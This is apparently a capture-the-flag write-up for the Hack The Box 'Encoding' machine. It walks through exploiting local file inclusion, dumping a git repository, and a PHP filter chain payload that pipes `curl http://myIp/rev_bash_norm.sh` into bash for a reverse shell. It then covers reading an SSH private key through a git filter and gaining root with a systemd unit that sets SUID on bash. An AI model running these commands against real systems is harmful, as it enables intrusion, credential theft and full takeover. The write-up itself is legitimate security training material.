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Hack The Box - Encoding [Medium]

This machine took me a couple of days due to its complexity and some minor stuff that were a hassle to get right.

You will find the following vulnerabilities: - Local File Inclusion - Command Injection or RCE

Flag 1

I started by looking through the website to get some idea of its functionality. I saw that this is some sort of converter of data, like binary to hex and so on. But the interesting part was this:

If required, you can specify a URL that will return data to be converted with the file_url parameter. This can be done for both string and integer convertions.

That quickly reminded me of local/remote file inclusion, and so I’ve tried it with the following payload:

json_data = {
	'action': 'b64encode',
	'file_url' : 'file:///etc/passwd'
}

That gave me the contents of the /etc/passwd file encoded in base64, I used base64 -d to decode it. From there I saw another user svc.

I was also curious what’s in the /var/www/ directory, so I began enumerating the directory.

I ran ffuf on the main website haxtables.htb/FUZZ also ran ffuf for subdomain discovery.

$ ffuf -w $disc_wc/raft-small-directories-lowercase.txt -u http://haxtables.htb/FUZZ

$ ffuf -w $disc_wc/common.txt -u http://haxtables.htb/ -H "Host: FUZZ.haxtables.htb" -fs 1999

With those I found api, image subdomains, so I inspected them via the LFI vulnerability /var/www/image/index.php to check whether this application uses some kind of database or eventually some useful things. I found that image domain contains a git repository (through git_status, git_log, git_commit functions in /var/www/image/index.php -> uitls.php). This led me to believe that I could use that to gain user privileges later on. I decided to dump the repository and bear with me here I did it in the most ghetto way possible, through a local server that acted as a proxy for gitdumper.sh

import requests
import json
from flask import Flask
import base64


app = Flask(__name__)


@app.route('/<path:filepath>')
def index(filepath):
    json_data = {
        'action': 'b64encode',
        'file_url' : "file://" + "/var/www/image/" + filepath
    }
    response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
    d = json.loads(response.text.strip())
    res = base64.b64decode(d["data"])
    return res

$ gitdumper.sh http://localhost:5000/.git/ ./dump_repo

Then I used the git ls-files to figure what other files are in the folder.

$ git ls-files
actions/action_handler.php
actions/image2pdf.php
assets/img/forestbridge.jpg
includes/coming_soon.html
index.php
scripts/git-commit.sh
utils.php

I saw the actions/action_handler.php source code by using the LFI vulnerability.

<?php
include_once 'utils.php';
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include($page); # <-- BruhMoment
} else {
    echo jsonify(['message' => 'No page specified!']);
}
?>

It is pretty obvious that this code is vulnerable to LFI, and I can use it to gain a reverse shell through PHP Filters. But I can’t access this page directly, so I can use the first LFI to execute this LFI to execute the PHP filters RCE…

And this is me figuring out this after 2 days of trying…

rwojak

I generated a payload with the PHP filter chain generator.

$ python3 php_filter_chain_generator.py --chain '<?= `curl http://myIp/rev_bash_norm.sh|bash` ;?>'

And I hosted a web server containing the rev_bash_norm.sh, I won’t show the full monstrosity of the generated filter request but in the end it looked like this:

POST /v3/tools/string/index.php HTTP/1.1
Host: api.haxtables.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 12920

{
    "action": "b64encode",
    "file_url" : "email@image.haxtables.htb/actions/action_handler.php?page=php://filter/<bruhmoment>"
}

Whenever executed, this request will spawn a reverse shell.

The www-data to svc(user) was honestly too much for me, and I turned to some write-ups.

The next section is what I’ve tried and failed, feel free to skip it.

<i-tried-this> I was pretty sure that it has something to do with the git scripts and I only had rwxr-xr-x permissions of the .git folder, so I’ve tried to simulate file edit by using the dumped repository and change all the files in the .git directory on the server.

And that was kinda the right approach, but I didn’t notice the ssh keys that I needed to retrieve, so I was hard stuck at this, and I went to some write-ups.

</i-tried-this>

Check gatogamer1155’s write-up for gaining access to the user and retrieve the first flag.

TLDR:

  • Creates an executable file /tmp/readkey with a content that reads the ~/.ssh/id_rsa file and saves it to file.
  • Creates a git attributes file with a new filter called indent: '*.php filter=indent'
  • Sets the Git configuration filter.indent.clean to the command /tmp/readkey. This tells Git to apply the indent filter to files ending in .php and to use the /tmp/readkey command to process the filter.
  • Execute the /var/www/image/scripts/git-commit.sh with sudo -u svc
  • The filter is then applied, and you can read the private key file.

NOTE: Make sure that whenever you save the private key on your machine add an empty line at the end of the file otherwise you will get an error!

After logging with the svc user, you can read the first flag.

Flag 2

Honestly, this was too easy, but I didn’t mind it since I spent too much time doing this box.

Executing the sudo -l would give you the executables that you can execute as root.

(root) NOPASSWD: /usr/bin/systemctl restart *

I had to create a service that looks like that and place it under /etc/systemd/system/syl.service

[Service]
Type=simple
ExecStart=chmod +s /bin/bash
[Install]
WantedBy=multi-user.target

And simply execute:

$ sudo /usr/bin/systemctl restart syl
$ bash -p
bash-5.1# cat root/root.txt
. . .